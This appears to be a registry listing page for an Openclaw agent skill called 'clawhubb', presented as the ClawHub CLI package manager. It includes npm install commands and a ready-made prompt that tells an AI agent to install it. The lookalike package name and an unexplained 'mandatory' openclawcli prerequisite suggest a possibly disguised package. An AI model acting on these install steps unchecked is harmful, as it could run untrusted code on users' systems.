ClawHub CLI for Openclaw

A powerful command-line interface designed to search, install, update, and publish modular agent skills with hash-based versioning and registry integration.

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Feb 1, 2026
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1. ClawHub CLI

The fastest way to install a skill directly from the registry.

npx clawhub@latest install clawhubb

2. Manual Installation

Copy the skill folder to one of these locations

Global
~/.openclaw/skills/
Workspace
<project>/skills/

Priority: Workspace > Local > Bundled

3. Prompt Installation

Copy this prompt to OpenClaw to install it automatically.

Help me install clawhubb using Clawhub. If Clawhub is not installed, install it first (npm i -g clawhub).

Prefer to download?

Get the raw skill files in a ZIP archive.

What is ClawHub CLI?

ClawHub CLI acts as the central package manager for the AI agent ecosystem, providing a robust framework for managing Openclaw Skills. It allows developers to seamlessly fetch new capabilities from the clawhub.ai registry while ensuring high performance through advanced caching and compression techniques.

By serving as a bridge between local agent environments and the global registry, this tool ensures that your coding agents stay synchronized with the latest improvements. It is built to handle complex skill lifecycles, from initial discovery and installation to maintenance and community contribution through publishing.

ClawHub CLI Use Cases

  • Discovering and adding new capabilities to AI agents from a centralized, searchable registry.
  • Synchronizing local skill folders with the latest remote versions using intelligent hash-based matching.
  • Automating the deployment and installation of Openclaw Skills within CI/CD pipelines.
  • Publishing custom-built skill sets to the community with automated semantic versioning and changelog management.

How ClawHub CLI Works

  1. Initialize the environment by ensuring the mandatory openclawcli utility is active and running on the host system.
  2. Authenticate with the central registry using the login command to enable publishing permissions.
  3. Execute search queries to identify relevant agent capabilities based on keywords, tags, or popularity.
  4. Install chosen skills into local directories, where the CLI manages dependencies and version pinning.
  5. Run updates which compare local file hashes against registry versions to identify and apply required changes without losing local data.

ClawHub CLI Setup

First, ensure the prerequisite openclawcli is installed and running on your system. Then, install the CLI globally using npm:

npm i -g clawhub

Verify the installation and authenticate your session:

clawhub --version
clawhub login

ClawHub CLI Data Schema & Taxonomy

The CLI organizes data through a combination of configuration files and structured directory hierarchies:

Component Description
~/.clawhubrc Main configuration file for registry URLs, install directories, and auto-update settings.
./skills/ The default installation directory where Openclaw Skills are stored as individual folders.
SKILL.md Required metadata file within each skill folder used for indexing and registry display.
CLAWHUB_AUTH Environment variable for managing authentication tokens in automated environments.

ClawHub CLI Advanced Features

  • Intelligent hash-based update detection that preserves local modifications while upgrading base logic.
  • Support for custom private registries via environment variables for enterprise-grade Openclaw Skills management.
  • Batch operation support allowing mass installation and updates via piped input and silent flags.
  • Integrated semantic versioning toolset (patch, minor, major) to simplify the publishing workflow for developers.

SKILL.md


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